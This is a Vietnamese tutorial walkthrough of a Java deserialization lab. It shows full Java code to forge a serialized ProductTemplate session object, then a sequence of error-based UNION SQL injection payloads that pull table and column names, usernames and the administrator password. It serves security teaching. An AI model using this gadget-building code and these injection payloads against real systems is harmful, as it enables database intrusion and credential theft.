III. Lỗ hổng Deserialization trong ngôn ngữ Java (tiếp)
5. Khai thác lỗ hổng Deserialization trong Java với custom gadget - Ví dụ 1
Với sự phát triển liên tục của ứng dụng, các lỗ hổng cũng thể hiện ngày càng đa dạng, dẫn đến những payload được xây dựng sẵn như ysoserial có thể không hiệu quả trong nhiều trường hợp. Khi đó chúng ta cần dựa vào luồng hoạt động của từng chương trình cụ thể để tự xây dựng gadget, hay còn được gọi là custom gadget.
Phân tích bài lab Developing a custom gadget chain for Java deserialization.
Sau khi đăng nhập, session người dùng có dấu hiệu của Deserialize và chúng ta nhận thấy lớp AccessTokenUser()
:
Quan sát mã nguồn trang web, chúng ta nhận được một đường link đã bị lộ /backup/AccessTokenUser.java
Truy cập chúng ta thu được tệp AccessTokenUser.java
định nghĩa lớp AccessTokenUser()
có hai thuộc tính username
và accessToken
. Lưu ý rằng phương thức này cho phép Deserialize:
package data.session.token; import java.io.Serializable; public class AccessTokenUser implements Serializable
{ private final String username; private final String accessToken; public AccessTokenUser(String username, String accessToken) { this.username = username; this.accessToken = accessToken; } public String getUsername() { return username; } public String getAccessToken() { return accessToken; }
}
Còn một thông tin dễ dàng bị bỏ qua, đó là file AccessTokenUser.java
nằm trong thư mục /backup
, nên có thể thử truy cập tới thư mục này, thu được kết quả thư mục này chứa một file khác ProductTemplate.java
:
Truy cập tới /backup/ProductTemplate.java
, mã nguồn:
package data.productcatalog; import common.db.JdbcConnectionBuilder; import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement; public class ProductTemplate implements Serializable
{ static final long serialVersionUID = 1L; private final String id; private transient Product product; public ProductTemplate(String id) { this.id = id; } private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException { inputStream.defaultReadObject(); JdbcConnectionBuilder connectionBuilder = JdbcConnectionBuilder.from( "org.postgresql.Driver", "postgresql", "localhost", 5432, "postgres", "postgres", "password" ).withAutoCommit(); try { Connection connect = connectionBuilder.connect(30); String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id); Statement statement = connect.createStatement(); ResultSet resultSet = statement.executeQuery(sql); if (!resultSet.next()) { return; } product = Product.from(resultSet); } catch (SQLException e) { throw new IOException(e); } } public String getId() { return id; } public Product getProduct() { return product; }
}
Tệp ProductTemplate.java
nằm trong package data.productcatalog
, định nghĩa lớp ProductTemplate()
cho phép Deserialize, với các thuộc tính private id
, product
. Phương thức readObject()
được ghi đè. Chúng ta có thể dự đoán trang web sử dụng hệ cở sở dữ liệu PostgresSQL:
Chú ý biến sql
sử dụng phương thức String.format()
ẩn chứa lỗ hổng SQL injection.
String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id);
Và giá trị biến id
có thể được thay đổi:
public ProductTemplate(String id) { this.id = id;
}
Vì lớp ProductTemplate()
cho phép Deserialize nên chúng ta có ý tưởng như sau: Tạo một đối tượng productTemplate
thuộc lớp ProductTemplate
, thay đổi thuộc tính id
của đối tượng này thành payload nhằm khai thác lỗ hổng SQL injection. Serialize đối tượng productTemplate
và thay giá trị vào session của người dùng. Khi trang web thực hiện Deserialize session này sẽ thực thi câu truy vấn đã bị chúng ta thay đổi.
Đầu tiên, tạo một package với tên data.productcatalog
, các file java của chúng ta sẽ đặt trong package này, vì nếu không tạo package hoặc đặt tên sai sẽ dẫn tới lỗi package không tồn tại.
Chúng ta cần sử dụng tới lớp ProductTemplate
, tạo file ProductTemplate.java
chỉ cần giữ lại thuộc tính id
và phương thức khởi tạo (constructor).
package data.productcatalog; import java.io.Serializable; public class ProductTemplate implements Serializable { private final String id; public ProductTemplate(String id) { this.id = id; }
}
Tạo file Main.java
, chúng ta sử dụng file này tạo payload. Trước hết, cần một hàm thực hiện Serialize:
public static void Ser(Object obj) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("test.txt"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(obj); objectOutputStream.close();
}
Một hàm thực hiện đọc dữ liệu kết quả Serialize, sau đó sử dụng mã hóa Base64 và mã hóa URL cho ra payload cuối cùng. Do dữ liệu cần đọc ở dạng bytes nên chúng ta dùng phương thức Files.readAllBytes()
public static void ReadAndOut() throws IOException { File file = new File("test.txt"); byte[] bytes = Files.readAllBytes(file.toPath()); String output = Base64.getEncoder().encodeToString(bytes); output = URLEncoder.encode(output, "UTF-8"); System.out.println(output);
}
Chương trình cuối cùng như sau:
package data.productcatalog; import java.io.*;
import java.net.URLEncoder;
import java.nio.file.Files;
import java.util.Base64; public class Main { public static void main(String[] args) throws IOException { ProductTemplate productTemplate = new ProductTemplate("payload here"); Ser(productTemplate); ReadAndOut(); } public static void Ser(Object obj) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("test.txt"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(obj); objectOutputStream.close(); } public static void ReadAndOut() throws IOException { File file = new File("test.txt"); byte[] bytes = Files.readAllBytes(file.toPath()); String output = Base64.getEncoder().encodeToString(bytes); output = URLEncoder.encode(output, "UTF-8"); System.out.println(output); }
}
Lúc này, bài lab trở về dạng bài khai thác lỗ hổng SQL injection. Trước hết chúng ta xác nhận số lượng cột bằng error-based UNION attack. Payload:
' UNION SELECT NULL--
Thay vào session, chúng ta nhận được lỗi trong response giá trị serialVersionUID
không hợp lệ:
Bổ sung vào lớp ProductTemplate
:
Sinh và gửi lại payload, lỗi xuất hiện cho thấy câu truy vấn không đúng số cột, đây là lỗi chúng ta mong muốn thu được, chứng tỏ câu truy vấn đang "hoạt động tốt":
Tiếp tục thử chúng ta thu được câu truy vấn cần có cột:
Tiếp theo, kiểm tra kiểu dữ liệu của các cột có tương thích với string hay không và cột nào có thể hiển thị dữ liệu, payload:
' UNION SELECT 'a','b','c','d','e','f','g','h'--
Kết quả:
Như vậy chúng ta có thể khai thác dữ liệu từ cột thứ , và dữ liệu hiển thị phải ở dạng số (numberic). Chúng ta có thể sử dụng hàm CAST()
để chuyển đổi.
Tìm kiếm tên bảng:
' UNION SELECT NULL,NULL,NULL,CAST(table_name AS numeric),NULL,NULL,NULL,NULL FROM information_schema.tables--
Thu được tên bảng users
, tiếp tục tìm kiếm tên cột, payload:
' UNION SELECT NULL,NULL,NULL,CAST(column_name AS numeric),NULL,NULL,NULL,NULL FROM information_schema.columns WHERE table_name = 'users'--
Thu được một cột có tên username
, tìm kiếm tên cột khác username
, payload:
' UNION SELECT NULL,NULL,NULL,CAST(column_name AS numeric),NULL,NULL,NULL,NULL FROM information_schema.columns WHERE table_name = 'users' AND column_name != 'username'--
Thu được cột có tên password
. Tìm kiếm giá trị username
, payload:
' UNION SELECT NULL,NULL,NULL,CAST(username AS numeric),NULL,NULL,NULL,NULL FROM users--
Tìm kiếm mật khẩu tài khoản administrator
, payload:
' UNION SELECT NULL,NULL,NULL,CAST(password AS numeric),NULL,NULL,NULL,NULL FROM users WHERE username = 'administrator'--
Đăng nhập và xóa tài khoản người dùng carlos
, bài lab hoàn thành: